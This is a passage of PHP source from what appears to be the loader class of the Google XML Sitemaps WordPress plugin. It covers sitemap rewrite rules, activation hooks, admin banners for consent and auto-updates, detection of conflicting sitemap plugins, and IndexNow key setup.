'index.php?xml_sitemap=params=$matches[2];zip=true', $sm_sitemap_name . '(?:\d{1,4}(?!-misc)|-misc)?\.html$' => 'index.php?xml_sitemap=params=$matches[2];html=true', $sm_sitemap_name . '(?:\d{1,4}(?!-misc)|-misc)?\.html.gz$' => 'index.php?xml_sitemap=params=$matches[2];html=true;zip=true', ); return array_merge( $sm_rules, $wp_rules ); } /** * Returns the rules required for Nginx permalinks * * @return string[] */ public static function get_ngin_x_rules() { return array( 'rewrite ^/.*-misc?\.xml$ "/index.php?xml_sitemap=params=$2" last;', 'rewrite ^/.*-misc?\.xml\.gz$ "/index.php?xml_sitemap=params=$2;zip=true" last;', 'rewrite ^/.*-misc?\.html$ "/index.php?xml_sitemap=params=$2;html=true" last;', 'rewrite ^/.*-misc?\.html\.gz$ "/index.php?xml_sitemap=params=$2;html=true;zip=true" last;', 'rewrite ^/.*-sitemap.*(?:\d\{1,4\}(?!-misc)|-misc)?\.xml$ "/index.php?xml_sitemap=params=$2" last;', 'rewrite ^/.*-sitemap.*(?:\d\{1,4\}(?!-misc)|-misc)?\.xml\.gz$ "/index.php?xml_sitemap=params=$2;zip=true" last;', 'rewrite ^/.*-sitemap.*(?:\d\{1,4\}(?!-misc)|-misc)?\.html$ "/index.php?xml_sitemap=params=$2;html=true" last;', 'rewrite ^/.*-sitemap.*(?:\d\{1,4\}(?!-misc)|-misc)?\.html\.gz$ "/index.php?xml_sitemap=params=$2;html=true;zip=true" last;', ); } /** * Adds the filters for wp rewrite rule adding * * @since 4.0 * @uses add_filter() */ public static function setup_rewrite_hooks() { add_filter( 'rewrite_rules_array', array( __CLASS__, 'add_rewrite_rules' ), 1, 1 ); } /** * Deregisters the plugin specific rewrite rules * * Combined: sitemap(-+([a-zA-Z0-9_-]+))?\.(xml|html)(.gz)?$ * * @since 4.0 * @param array $wp_rules Array of existing rewrite rules . * @return Array An array containing the new rewrite rules */ public static function remove_rewrite_rules( $wp_rules ) { $sm_rules = array( '.*\.xml$' => 'index.php?xml_sitemap=params=$matches[2]', '.*\.xml\.gz$' => 'index.php?xml_sitemap=params=$matches[2];zip=true', '.*\.html$' => 'index.php?xml_sitemap=params=$matches[2];html=true', '.*\.html\.gz$' => 'index.php?xml_sitemap=params=$matches[2];html=true;zip=true', ); foreach ( $wp_rules as $key => $value ) { if ( array_key_exists( $key, $sm_rules ) ) { unset( $wp_rules[ $key ] ); } } return $wp_rules; } /** * Remove rewrite hooks method */ public static function remove_rewrite_hooks() { add_filter( 'rewrite_rules_array', array( __CLASS__, 'remove_rewrite_rules' ), 1, 1 ); } /** * Flushes the rewrite rules * * @since 4.0 * @global $wp_rewrite WP_Rewrite * @uses WP_Rewrite::flush_rules() */ public static function activate_rewrite() { // @var $wp_rewrite WP_Rewrite . global $wp_rewrite; $wp_rewrite->flush_rules( false ); update_option( 'sm_rewrite_done', self::$svn_version ); } /** * Handled the plugin activation on installation * * @uses GoogleSitemapGeneratorLoader::activate_rewrite * @since 4.0 */ public static function activate_plugin() { self::setup_rewrite_hooks(); self::activate_rewrite(); self::activation_indexnow_setup(); //activtion indexNow if ( self::load_plugin() ) { $gsg = GoogleSitemapGenerator::get_instance(); if ( $gsg->old_file_exists() ) { $gsg->delete_old_files(); } } } /** * Handled the plugin deactivation * * @uses GoogleSitemapGeneratorLoader::activate_rewrite * @since 4.0 */ public static function deactivate_plugin() { global $wp_rewrite; delete_option( 'sm_rewrite_done' ); wp_clear_scheduled_hook( 'sm_ping_daily' ); self::remove_rewrite_hooks(); $wp_rewrite->flush_rules( false ); self::deactivation_indexnow(); // deactivation indexNow plugin } /** * Handles the plugin output on template redirection if the xml_sitemap query var is present. * * @since 4.0 */ public static function do_template_redirect() { // @var $wp_query WP_Query . global $wp_query; if ( ! empty( $wp_query->query_vars['xml_sitemap'] ) ) { $wp_query->is_404 = false; $wp_query->is_feed = true; self::call_show_sitemap( $wp_query->query_vars['xml_sitemap'] ); } } /** * Registers the plugin in the admin menu system * * @uses add_options_page() */ public static function register_admin_page() { add_options_page( __( 'XML-Sitemap Generator', 'google-sitemap-generator' ), __( 'XML-Sitemap', 'google-sitemap-generator' ), 'administrator', self::get_base_name(), array( __CLASS__, 'call_html_show_options_page' ) ); } /** * Add a widget to the dashboard. * * @param string $a . */ public static function wp_dashboard_setup( $a ) { self::load_plugin(); $sg = GoogleSitemapGenerator::get_instance(); if ( $sg->show_survey() ) { add_action( 'admin_notices', array( __CLASS__, 'wp_dashboard_admin_notices' ) ); } } /** * Wp dashboard admin notices method */ public static function wp_dashboard_admin_notices() { $sg = GoogleSitemapGenerator::get_instance(); $sg->html_survey(); } /** * Hide banner info. */ public function hide_banner() { update_option( 'sm_show_beta_banner', 'false' ); add_option( 'sm_beta_banner_discarded_on', gmdate( 'Y/m/d' ) ); update_option( 'sm_beta_banner_discarded_count', (int) 2 ); } /** * Beta notice. */ public static function beta_notice() { $current_page = self::get_current_page_url(); $arr = self::get_tags_array(); $default_value = 'show_banner'; $value = get_option( 'sm_show_beta_banner', $default_value ); $now = time(); $banner_discarded = strtotime( get_option( 'sm_beta_banner_discarded_on' ) ); $image_url = trailingslashit( plugins_url( '', __FILE__ ) ) . 'img/close.png'; $page_to_show_notice = array( 'settings_page_google-sitemap-generator/sitemap', 'dashboard', 'plugins' ); $current_screen = get_current_screen()->base; $banner_discarded_count = get_option( 'sm_beta_banner_discarded_count' ); if ( gettype( $banner_discarded ) === 'boolean' ) { $banner_discarded = time(); } $datediff = $now - $banner_discarded; $datediff = round( $datediff / ( 60 * 60 * 24 ) ); if ( ( in_array( $current_screen, $page_to_show_notice, true ) ) && ( $value === $default_value || 'true' === $value ) && ( 'true' !== get_option( 'sm_beta_notice_dismissed_from_wp_admin' ) || 'google-sitemap-generator/sitemap.php' === $current_page ) || ( 'google-sitemap-generator/sitemap.php' === $current_page && $datediff >= SM_BANNER_HIDE_DURATION_IN_DAYS && $banner_discarded_count < 2 ) ) { ?> <style> .justify-content{ display: flex; justify-content: space-between; align-items: center; } a.discard_button, a.discard_button_outside_settings{ border-radius: 50%; border: 0; text-align: center; justify-content: center; align-items: center; margin-left: 40px; margin-right: 5px; cursor: pointer; height: 20px; background-color: #787c82; color: white; font-size: small; font-weight: bold; width: 20px; padding-bottom: 0; text-decoration: none; } .reject_consent{ border-radius: 50%; border: 0; text-align: center; justify-content: center; align-items: center; margin-left: 40px; margin-right: 5px; cursor: pointer; height: 20px; background-color: #787c82; color: white; font-size: small; font-weight: bold; width: 20px; } .cookie-info-banner-wrapper { position: fixed; z-index: 100; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); opacity: 1; display: none; transform: scale(1.0); transition: visibility 0s linear 0s, opacity 0.25s 0s, transform 0.25s; } .modal-wrapper { position: fixed; z-index: 100; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); opacity: 1; visibility: visible; transform: scale(1.0); transition: visibility 0s linear 0s, opacity 0.25s 0s, transform 0.25s; } .modal-container { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: white; padding: 1rem 1.5rem; width: 35rem; border-radius: 0.5rem; z-index: 100; } .allow_consent { color: #ffffff; border-color: #ffffff; background-color: #008078; margin-right: 1em; min-width: 100px; height: auto; white-space: normal; word-break: break-word; word-wrap: break-word; padding: 12px 10px; cursor: pointer; } .decline_consent { background-color: #fff; border-color: #ef4056 ; color: #ef4056 ; text-decoration: none; min-width: 100px; height: auto; white-space: normal; word-break: break-word; word-wrap: break-word; padding: 12px 10px; cursor: pointer; } #close_popup { border: none; height: 20px; width: 25px; padding: 0; position: absolute; right: 10px; background-image: url( <?php echo $image_url; ?> ); } .close_cookie_information{ height: 20px; width: 25px; } a.allow_beta_consent { background: #2271b1; color: white; border-color: #2271b1; cursor: pointer; padding: 8px; text-decoration: none; } .allow_beta_consent:hover{ color: white; outline: 1px solid #2271b1; } button.allow_beta_consent{ border: none; } </style> <div class="updated notice" style="display: flex;justify-content:space-between;"> <?php $arr = array( 'br' => array(), 'p' => array(), 'div' => array( 'style' => array( 'display' => 'flex', 'justify-content' => 'space-between', ), 'class' => array(), 'id' => array(), ), 'img' => array( 'src' => array(), 'id' => array(), 'class' => array(), 'height' => array(), 'width' => array(), ), 'a' => array( 'href' => array(), 'target' => array(), 'class' => array(), 'name' => array(), 'id' => array(), ), 'h4' => array( 'style' => array( 'width' => array(), 'display' => array(), ), 'id' => array(), ), 'h3' => array( 'style' => array( 'width' => array(), 'display' => array(), ), 'id' => array(), ), 'button' => array( 'onClick' => array(), 'type' => array(), 'onclick' => array(), 'class' => array(), 'id' => array(), ), 'strong' => array(), 'input' => array( 'type' => array(), 'class' => array(), 'id' => array(), 'name' => array(), 'value' => array(), 'formaction' => array(), 'style' => array( 'position' => array(), 'padding' => array(), 'background' => array(), 'right' => array(), 'color' => array(), 'border-color' => array(), 'cursor' => array(), ), ), 'form' => array( 'id' => array(), 'method' => array(), 'action' => array(), 'style' => array( 'margin-top' => array(), 'margin-left' => array(), 'display' => array(), ), ), ); $consent_url = home_url( '/wp-content/plugins/google-sitemap-generator/upgrade-plugin.php' ); $decline_consent_url = ( empty( $_SERVER['HTTPS'] ) ? 'http' : 'https' ) . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; $qs = 'settings_page_google-sitemap-generator/sitemap' === $current_screen ? '&action=no' : '?action=no'; /* translators: %s: search term */ echo wp_kses( __('<h4>Do you want the best SEO indexation technology for your website? Join the Google XML Sitemaps Beta Program now!</h4> <input type="hidden" id="action" name="action" value="my_action" > <div class="justify-content"> <a href="' . $consent_url . '?action=yes" id="user_consent" class="allow_beta_consent" target="blank" name="user_consent" >Yes, I am in</a> <a href="' . $decline_consent_url . $qs . '" id="discard_content" class="discard_button" name="discard_consent">X</a> </div> ', 'google-sitemap-generator' ), $arr ); ?> </div> <?php } ?> <?php $default_value = 'default'; $consent_value = get_option( 'sm_user_consent', $default_value ); if ( $default_value === $consent_value && 'google-sitemap-generator/sitemap.php' === $current_page ) { /* translators: %s: search term */ echo wp_kses( __('<div class="modal-wrapper" id="modal-wrapper"> <div class="modal-container"> <h3>Help Us Improve!</h3> <p>Would you help us improve Google XML Sitemaps by sharing anonymous usage data?</p> <p>Understanding feature usage and use cases better means we can provide you with the best indexation and indexing performance.</p> <p><a href="https://auctollo.com/policies/privacy/" target="_blank">We respect your privacy!</a></p> <p> </p> <form method="POST"> <input type="submit" name="user_consent_yes" class="allow_consent" value="I want the best!" /> <input type="submit" name="user_consent_no" class "decline_consent" value="I don\'t know what I want" />' . wp_nonce_field("user_consent_yesno_nonce", "user_consent_yesno_nonce_token") . '</form> </div> </div>', 'google-sitemap-generator'), $arr ); } /* translators: %s: search term */ ?> <?php if ( 'google-sitemap-generator/sitemap.php' === $current_page ) { /* translators: %s: search term */ echo wp_kses( __('<div class="cookie-info-banner-wrapper" id="cookie-info-banner-wrapper"> <div class="modal-container"> <h3>Help Us Improve!</h3> <button class="close_popup" id="close_popup"> <img height="25" width="20" class="close_cookie_information" src="' . $image_url . '" /> </button> <p>Would you help us improve our indexation technology by sharing usage data anonymously?</p> </div> </div>', 'google-sitemap-generator' ), $arr ); } /* translators: %s: search term */ $default_value = 'default'; $auto_update_plugins = get_option( 'auto_update_plugins', $default_value ); $hide_auto_update_banner = get_option( 'sm_hide_auto_update_banner' ); if ( ! is_array( $auto_update_plugins ) ) { $auto_update_plugins = array(); } if ( (! in_array( 'google-sitemap-generator/sitemap.php', $auto_update_plugins, true ) && ('google-sitemap-generator/sitemap.php' === $current_page || $_SERVER['REQUEST_URI'] === '/wp-admin/index.php' || $_SERVER['REQUEST_URI'] === '/wp-admin/') && 'yes' !== $hide_auto_update_banner) ) { ?> <style> .justify-content{ display: flex; justify-content: space-between; align-items: center; } a.do_not_enable_auto_update{ border-radius: 50%; border: 0; text-align: center; justify-content: center; align-items: center; margin-left: 40px; margin-right: 5px; cursor: pointer; height: 20px; background-color: #787c82; color: white; font-size: small; font-weight: bold; width: 20px; padding-bottom: 0; text-decoration: none; } a.enable_auto_update { background: #2271b1; color: white; border-color: #2271b1; cursor: pointer; padding: 8px; text-decoration: none; } .enable_auto_update:hover{ color: white; outline: 1px solid #2271b1; } </style> <div class="updated notice" style="display: flex;justify-content:space-between;"> <?php /* translators: %s: search term */ echo wp_kses( __('<h4>Auto-updates aren not enabled for Sitemap Generator. Would you like to enable auto-updates to always have the best indexation features? </h4> <form method="post" id="enable-updates-form"> <input type="hidden" id="enable_updates" name="enable_updates" value="false" />' . wp_nonce_field("enable_updates_nonce", "enable_updates_nonce_token") . '</form> <div class="justify-content"> <a id="enable_auto_update" class="enable_auto_update" name="enable_auto_update">Enable Auto-Updates!</a> <a id="do_not_enable_auto_update" class="do_not_enable_auto_update" name="do_not_enable_auto_update">X</a> </div>', 'google-sitemap-generator' ), $arr ); /* translators: %s: search term */ ?> </div> <?php } } /** * Returns a nice icon for the Ozh Admin Menu if the {@param $hook} equals to the sitemap plugin * * @param string $hook The hook to compare . * @return string The path to the icon */ public static function register_admin_icon( $hook ) { if ( self::get_base_name() === $hook && function_exists( 'plugins_url' ) ) { return plugins_url( 'img/icon-arne.gif', self::get_base_name() ); } return $hook; } /** * Registers additional links for the sitemap plugin on the WP plugin configuration page * * Registers the links if the $file param equals to the sitemap plugin * * @param string $links Array An array with the existing links . * @param string $file string The file to compare to . * @return string[] */ public static function register_plugin_links( $links, $file ) { $base = self::get_base_name(); if ( $file === $base ) { $links[] = '<a href="options-general.php?page=' . self::get_base_name() . '">' . __( 'Settings', 'google-sitemap-generator' ) . '</a>'; $links[] = '<a href="http://www.arnebrachhold.de/redir/sitemap-plist-faq/">' . __( 'FAQ', 'google-sitemap-generator' ) . '</a>'; $links[] = '<a href="http://www.arnebrachhold.de/redir/sitemap-plist-support/">' . __( 'Support', 'google-sitemap-generator' ) . '</a>'; } return $links; } /** * SchedulePingOnStatus Change * * @param string $new_status string The new post status . * @param string $old_status string The old post status . * @param object $post WP_Post The post object . */ public static function schedule_ping_on_status_change( $new_status, $old_status, $post ) { if ( 'publish' === $new_status ) { set_transient( 'sm_ping_post_id', $post->ID, 120 ); wp_schedule_single_event( time() + 5, 'sm_ping' ); } } /** * Invokes the HtmlShowOptionsPage method of the generator * * @uses GoogleSitemapGeneratorLoader::load_plugin() * @uses GoogleSitemapGenerator::HtmlShowOptionsPage() */ public static function call_html_show_options_page() { if ( self::load_plugin() ) { GoogleSitemapGenerator::get_instance()->html_show_options_page(); } } /** * Invokes the ShowPingResult method of the generator * * @uses GoogleSitemapGeneratorLoader::load_plugin() * @uses GoogleSitemapGenerator::ShowPingResult() */ public static function call_show_ping_result() { if ( self::load_plugin() ) { GoogleSitemapGenerator::get_instance()->show_ping_result(); } } /** * Invokes the SendPing method of the generator * * @uses GoogleSitemapGeneratorLoader::load_plugin() * @uses GoogleSitemapGenerator::SendPing() */ public static function call_send_ping() { if ( self::load_plugin() ) { GoogleSitemapGenerator::get_instance()->send_ping(); } } /** * Invokes the SendPingDaily method of the generator * * @uses GoogleSitemapGeneratorLoader::load_plugin() * @uses GoogleSitemapGenerator::SendPingDaily() */ public static function call_send_ping_daily() { if ( self::load_plugin() ) { GoogleSitemapGenerator::get_instance()->send_ping_daily(); } } /** * Invokes the ShowSitemap method of the generator * * @param string $options . * @uses GoogleSitemapGeneratorLoader::load_plugin() * @uses GoogleSitemapGenerator::ShowSitemap() */ public static function call_show_sitemap( $options ) { $newFormat = self::change_url_to_required(); if($newFormat) $options = $newFormat; if ( self::load_plugin() ) { GoogleSitemapGenerator::get_instance()->show_sitemap( $options ); } } /* Get url and to transform required format */ public static function change_url_to_required(){ global $wp; $current_url = parse_url(home_url(add_query_arg(array(), $wp->request))); if( isset($current_url['path']) && strlen($current_url['path']) > 1){ $currentUrl = substr($current_url['path'], 1); $arrayType = explode('.', $currentUrl); if (isset($arrayType) && is_array($arrayType) && count($arrayType) > 1) { if (isset($arrayType[1]) && is_string($arrayType[1])) { if (in_array($arrayType[1], array('xml', 'html'))){ if(isset(get_option('sm_options')['sm_b_sitemap_name']) && $arrayType[0] === get_option('sm_options')['sm_b_sitemap_name']){ $postType[0] = $arrayType[0] . '.' . $arrayType[1]; }else if( strpos($arrayType[0], '-misc') !== false ) { $postType[0] = 'sitemap'; $postType[1] = $arrayType[1]; } else $postType = explode('-sitemap', $currentUrl); if (strpos($postType[0], '/') !== false){ $newType = explode('/', $postType[0]); $postType[0] = end($newType); } if (strpos($postType[0], 'authors') !== false && strpos($postType[0], '-') !== false) { $array = explode('-', $postType[0]); $postType[0] = end($array); } if(count($postType) > 1 ){ preg_match('/\d+/', $postType[1], $matches); if(empty($matches)) $matches[0] = 1; if($postType[0] === 'sitemap') return 'params=misc'; else if($postType[0] === 'post_tag' || $postType[0] === 'category' || taxonomy_exists($postType[0])) return 'params=tax-' . $postType[0] . '-' . $matches[0]; else if($postType[0] === 'productcat') return 'params=productcat-' . $matches[0]; else if($postType[0] === 'authors' || $postType[0] === 'archives') return 'params=' . $postType[0]; else if($postType[0] === 'productcat') return 'params=productcat-' . $matches[0]; else if($postType[0] === 'producttags') return 'params=producttags-' . $matches[0]; else return 'params=pt-' . $postType[0] . '-p' . $matches[0] . '-2023-11'; } } } } } return false; } /** * Invokes the DoRobots method of the generator * * @uses GoogleSitemapGeneratorLoader::load_plugin() * @uses GoogleSitemapGenerator::DoRobots() */ public static function call_do_robots() { if ( self::load_plugin() ) { GoogleSitemapGenerator::get_instance()->do_robots(); } } /** * Displays the help links in the upper Help Section of WordPress */ public static function call_html_show_help_list() { $screen = get_current_screen(); $id = get_plugin_page_hookname( self::get_base_name(), 'options-general.php' ); } /** * Loads the actual generator class and tries to raise the memory and time limits if not already done by WP * * @uses GoogleSitemapGenerator::enable() * @return boolean true if run successfully */ public static function load_plugin() { $disable_functions = ini_get( 'disable_functions' ); if ( ! class_exists( 'GoogleSitemapGenerator' ) ) { $mem = abs( intval( ini_get( 'memory_limit' ) ) ); if ( $mem && $mem < 128 ) { wp_raise_memory_limit( '128M' ); } $time = abs( intval( ini_get( 'max_execution_time' ) ) ); if ( 0 !== $time && 120 > $time ) { if ( strpos( $disable_functions, 'set_time_limit' ) === false ) { set_time_limit( 120 ); } } $path = trailingslashit( dirname( __FILE__ ) ); if ( ! file_exists( $path . 'sitemap-core.php' ) ) { return false; } require_once $path . 'sitemap-core.php'; } GoogleSitemapGenerator::enable(); return true; } /** * Returns the plugin basename of the plugin (using __FILE__) * * @return string The plugin basename, 'sitemap' for example */ public static function get_base_name() { return plugin_basename( sm_get_init_file() ); } /** * Returns the name of this loader script, using sm_GetInitFile * * @return string The sm_GetInitFile value */ public static function get_plugin_file() { return sm_get_init_file(); } /** * Returns the plugin version * * Uses the WP API to get the meta data from the top of this file (comment) * * @return string The version like 3.1.1 */ public static function get_version() { if ( ! isset( $GLOBALS['sm_version'] ) ) { if ( ! function_exists( 'get_plugin_data' ) ) { if ( file_exists( ABSPATH . 'wp-admin/includes/plugin.php' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } else { return '0.ERROR'; } } $data = get_plugin_data( self::get_plugin_file(), false, false ); $GLOBALS['sm_version'] = $data['Version']; } return $GLOBALS['sm_version']; } /** * Get SVN function . */ public static function get_svn_version() { return self::$svn_version; } public static function get_current_page_url(){ $window_url = home_url() . $_SERVER[ 'REQUEST_URI' ]; $parts = wp_parse_url( $window_url ); $current_page = ''; $current_url = $_SERVER['REQUEST_URI']; if ( isset( $parts['query'] ) ) { parse_str( $parts['query'], $query ); if ( isset( $query['page'] ) ) { $current_page = $query['page']; } } return $current_page; } public static function get_tags_array(){ return array( 'br' => array(), 'p' => array(), 'h3' => array(), 'div' => array( 'style' => array( 'display' => 'flex', 'justify-content' => 'space-between', ), 'class' => array(), 'id' => array(), ), 'a' => array( 'href' => array(), 'name' => array(), 'class' => array(), 'name' => array(), 'id' => array(), ), 'h4' => array( 'style' => array( 'width' => array(), 'display' => array(), ), 'id' => array(), 'class' => array(), ), 'h3' => array( 'style' => array( 'width' => array(), 'display' => array(), ), 'id' => array(), ), 'img' => array( 'src' => array(), 'class' => array(), 'id' => array(), 'height' => array(), 'width' => array(), ), 'button' => array( 'onClick' => array(), 'type' => array(), 'onclick' => array(), 'class' => array(), 'id' => array(), ), 'strong' => array(), 'input' => array( 'type' => array(), 'class' => array(), 'id' => array(), 'name' => array(), 'value' => array(), 'style' => array( 'position' => array(), 'padding' => array(), 'background' => array(), 'right' => array(), 'color' => array(), 'border-color' => array(), 'cursor' => array(), ), ), 'form' => array( 'id' => array(), 'method' => array(), 'action' => array(), 'style' => array( 'margin-top' => array(), 'margin-left' => array(), 'display' => array(), ), ), ); } public static function create_notice_conflict_plugin(){ $window_url = home_url() . $_SERVER[ 'REQUEST_URI' ]; $parts = wp_parse_url( $window_url ); $current_page = ''; $current_url = $_SERVER['REQUEST_URI']; if ( isset( $parts['query'] ) ) { parse_str( $parts['query'], $query ); if ( isset( $query['page'] ) ) { $current_page = $query['page']; } } $default_value = 'default'; $yoast_options = get_option( 'wpseo', $default_value ); $yoast_sm_enabled = 0; if ( $yoast_options !== $default_value && isset( $yoast_options['enable_xml_sitemap'] ) ) { $yoast_sm_enabled = $yoast_options['enable_xml_sitemap'] ? $yoast_options['enable_xml_sitemap'] : 0; } $aio_seo_options = get_option( 'aioseo_options', $default_value ); $aio_seo_sm_enabled = 0; if ( $aio_seo_options !== $default_value ) { $aio_seo_options = json_decode( $aio_seo_options ); $aio_seo_sm_enabled = $aio_seo_options->sitemap->general->enable; } $jetpack_options = get_option( 'jetpack_active_modules', $default_value ); $jetpack_sm_enabled = 0; if(is_array($jetpack_options)) { if (in_array('sitemaps', $jetpack_options)) { $jetpack_sm_enabled = 1; } } if(isset(get_option('sm_options')['sm_wp_sitemap_status']) ) $wordpress_options = get_option('sm_options')['sm_wp_sitemap_status']; else $wordpress_options = true; $wordpress_sm_enabled = 0; if($wordpress_options) { $wordpress_sm_enabled = 1; } $sitemap_plugins = array(); $plugins = get_plugins(); foreach ( $plugins as $key => $value ) { $plug = array(); if ( strpos( $key, 'google-sitemap-generator' ) !== false ) { continue; } if ( ( strpos( $key, 'sitemap' ) !== false || strpos( $key, 'seo' ) !== false || $jetpack_sm_enabled || $wordpress_sm_enabled) && is_plugin_active( ( $key ) ) ) { array_push( $plug, $key ); foreach ( $value as $k => $v ) { if ( 'Name' === $k ) { array_push( $plug, $v ); } } array_push( $sitemap_plugins, $plug ); } } $conflict_plugins = explode( ',', SM_CONFLICT_PLUGIN_LIST ); $plugin_title = array(); $plugin_name = array(); for ( $i = 0; $i < count( $sitemap_plugins ); $i++ ) { if ( in_array( $sitemap_plugins[ $i ][1], $conflict_plugins ) ) { array_push( $plugin_name, $sitemap_plugins[ $i ][1] ); array_push( $plugin_title, $sitemap_plugins[ $i ][0] ); } } if(('google-sitemap-generator/sitemap.php' === $current_page || $_SERVER['REQUEST_URI'] === '/wp-admin/index.php' || $_SERVER['REQUEST_URI'] === '/wp-admin/' ) && count( $sitemap_plugins ) > 0 && ( 0 !== $yoast_sm_enabled || 0 !== $aio_seo_sm_enabled || 0 !== $jetpack_sm_enabled || 0 !== $jetpack_sm_enabled) && count($plugin_name) > 0){ $plug_name = []; $plug_title = []; if($yoast_options = get_option('wpseo')){ $yoast_options = get_option('wpseo'); if (in_array('wordpress-seo/wp-seo.php', $plugin_title) && isset($yoast_options['enable_xml_sitemap'])) { $sitemap_enabled = $yoast_options['enable_xml_sitemap']; if ($sitemap_enabled) { $plug_name[] = 'Yoast SEO'; $plug_title[] = 'wordpress-seo/wp-seo.php'; } } } $aioseo_option_key = 'aioseo_options'; if($aioseo_options = get_option($aioseo_option_key)){ $aioseo_options = json_decode($aioseo_options, true); if(in_array('all-in-one-seo-pack/all_in_one_seo_pack.php', $plugin_title) && $aioseo_options['sitemap']['general']['enable']){ $plug_name[] = 'All in One SEO'; $plug_title[] = 'all-in-one-seo-pack/all_in_one_seo_pack.php'; } } if($jetpack_sm_enabled){ $plug_name[] = 'Jetpack Sitemap'; $plug_title[] = 'jetpack/jetpack.php'; } if($wordpress_sm_enabled){ $plug_name[] = 'Wordpress Sitemap'; $plug_title[] = 'wordpress-sitemap'; } if(count($plug_name) > 0){ ?> <style> .plugin_lists{ font-style: italic; } .other_plugin_notice{ margin-bottom: 10px; } .content_div{ margin-top:0; padding:0 10px 10px 10px; box-shadow: 0 1px 2px #0003; border-left: 4px solid #dc3232; margin-bottom:10px; } .conflict_plugin{ background: white; color: #2271b1; border: 1px solid #2271b1; border-color: #2271b1; cursor: pointer; padding: 8px; text-decoration: none; margin-right: 10px; border-radius: 5px; } .disable_plugins{ background: #2271b1; color: white; border-color: #2271b1; cursor: pointer; padding: 8px; text-decoration: none; } </style> <div class="notice content_div" style="border-left-width:4px;justify-content:space-between;"> <?php /* translators: %s: search term */ echo wp_kses( __( '<h4>One or more plugins conflict with proper indexation of your website. Use the deactivate button below to disable the extra sitemaps:</h4> ', 'google-sitemap-generator' ), self::get_tags_array() ); echo wp_kses_post('<ul style="list-style-type: none;">'); foreach ($plug_name as $name) { echo wp_kses_post( '<li>' . esc_html($name) . '</li>' ); } echo wp_kses_post('</ul>'); echo wp_kses( __( '<div> <form method="post" id="disable-plugins-form"> <input type="hidden" id="disable_plugin" name="disable_plugin" value="false" /> <input type="hidden" id="plugin_list" name="plugin_list" value="' . implode( ',', $plug_title ) . '" />'. wp_nonce_field("disable_plugin_sitemap_nonce", "disable_plugin_sitemap_nonce_token") . ' <input type="submit" class="disable_plugins" value="Deactivate"> </form> <div class="other_plugin_notice" id="other_plugin_notice"> </div> </div>', 'google-sitemap-generator' ), self::get_tags_array() ); ?> </div> <script> jQuery(document).ready(function($) { $('#disable-plugins-form').submit(function(e) { e.preventDefault(); let pluginList = $('#plugin_list').val(); $.ajax({ type: 'POST', url: ajaxurl, data: { action: 'disable_plugins', nonce: $('#disable_plugin_sitemap_nonce_token').val(), pluginList: pluginList }, success: function(response) { let noticeElement = document.querySelector('.notice.content_div'); if (noticeElement) { noticeElement.classList.remove('content_div'); noticeElement.classList.add('updated', 'notice'); let h4Element = noticeElement.querySelector('h4'); if (h4Element) h4Element.innerText = 'Successfully disabled conflicting sitemap(s). Verify that search engines have the correct sitemap URL and that your robots.txt file contains the correct sitemap hint.'; let submitButton = noticeElement.querySelector('.disable_plugins'); if (submitButton) submitButton.remove(); } }, error: function(error) { console.log(error); } }); }); }); </script> <?php } } } /* * activation indexNow and adding tables for indexation plugin */ public static function activation_indexnow_setup(){ $api_key = wp_generate_uuid4(); $api_key = preg_replace('[-]', '', $api_key); if(is_multisite()){ update_site_option('gsg_indexnow-is_valid_api_key', '2'); update_site_option('gsg_indexnow-admin_api_key', base64_encode( $api_key )); } else { update_option( 'gsg_indexnow-is_valid_api_key', '2' ); update_option( 'gsg_indexnow-admin_api_key', base64_encode( $api_key ) ); } } public static function deactivation_indexnow() { if(is_multisite()){ delete_site_option( 'gsg_indexnow-is_valid_api_key' ); delete_site_option( 'gsg_indexnow-admin_api_key' ); } else { delete_option( 'gsg_indexnow-is_valid_api_key' ); delete_option( 'gsg_indexnow-admin_api_key' ); } } } // Enable the plugin for the init hook, but only if WP is loaded. Calling this php file directly will do nothing. if ( defined( 'ABSPATH' ) && defined( 'WPINC' ) ) { add_action( 'init', array( 'GoogleSitemapGeneratorLoader', 'Enable' ), 15, 0 ); add_action( 'admin_notices', array( 'GoogleSitemapGeneratorLoader', 'beta_notice' ), 15, 0 ); register_activation_hook( sm_get_init_file(), array( 'GoogleSitemapGeneratorLoader', 'activate_plugin' ) ); register_deactivation_hook( sm_get_init_file(), array( 'GoogleSitemapGeneratorLoader', 'deactivate_plugin' ) ); // Set up hooks for adding permalinks, query vars. // Don't wait until init with this, since other plugins might flush the rewrite rules in init already... GoogleSitemapGeneratorLoader::setup_query_vars(); GoogleSitemapGeneratorLoader::setup_rewrite_hooks(); }